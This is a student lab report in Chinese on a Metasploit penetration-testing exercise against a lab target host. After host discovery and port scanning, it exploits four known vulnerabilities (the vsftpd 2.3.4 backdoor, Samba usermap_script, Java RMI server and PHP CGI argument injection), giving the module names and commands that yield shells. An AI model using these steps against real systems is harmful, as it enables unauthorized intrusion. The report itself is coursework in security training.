20222411 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
1.1 实践内容
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
1.2 本周学习内容
(1)Metasploit:是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode。
(2)MST基本框架
(3)MST基本命令
use [auxiliary(辅助模块)&exploit(攻击模块)&payload(攻击载荷)&encode(编译器模块)]:指定设置的模块
show [exploits&payloads&encoder&auxiliary&options]:显示可使用的模块或选项
set [options&payload]:设定选项或模块(图失败,原因是32位设备,使用的64位exploit)
run&exploit:启用模块
back:取消当前指定模块,同时返回上级目录
info:查看这个模块的详情
search:搜索符合条件的模块
sessions:查看当前会话
2.实验过程
2.1前期渗透
2.1.1主机发现(可用Aux中的arp_sweep,search一下就可以use)
kali的ip地址为192.168.222.129
靶机的ip地址为192.168.222.146
输入msfconsol进入msf控制台
search arp_sweep
use 0
set RHOST 192.168.222.146(靶机ip地址)
exploit
可以看到主机存活
2.1.2端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
输入nmap 192.168.222.146
可以看到有很多tcp端口开放
2.1.3选做:也可以扫系统版本、漏洞等。
1.扫系统版本
输入nmap -O 192.168.222.146
可以看到系统版本是linux 2.6.x
2.2Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST 192.168.222.146 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST 192.168.222.146 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname –a验证
2.4Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
输入nmap -p 1099 192.168.222.146
1099端口是开放的
然后在MSF中:
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.222.146(靶机IP)
exploit/run
成功获取shell
使用dir验证
2.5PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST 192.168.222.146 设置要攻击的机器IP
exploit/run 开始攻击
成功获取shell
输入dir测试
3.问题及解决方案
-
问题1:使用arp_sweep模块时,没有设置目的ip地址,导致exploit错误
-
问题1解决方案:输入set RHOST 192.168.222.146即可,以后使用模块时要输入options查看一下有什么选项是必须设置的
4.学习感悟、思考等
完成这个实验,我认识到MSF确实是一个很强大的工具,只要你的系统存在已知漏洞,只需在MSF工具里输短短几行代码就能将你的系统攻破。技术是一把双刃剑,我们要利用好MSF工具,将它用于安全领域进行网络安全保护,而不是滥用工具去攻击别人。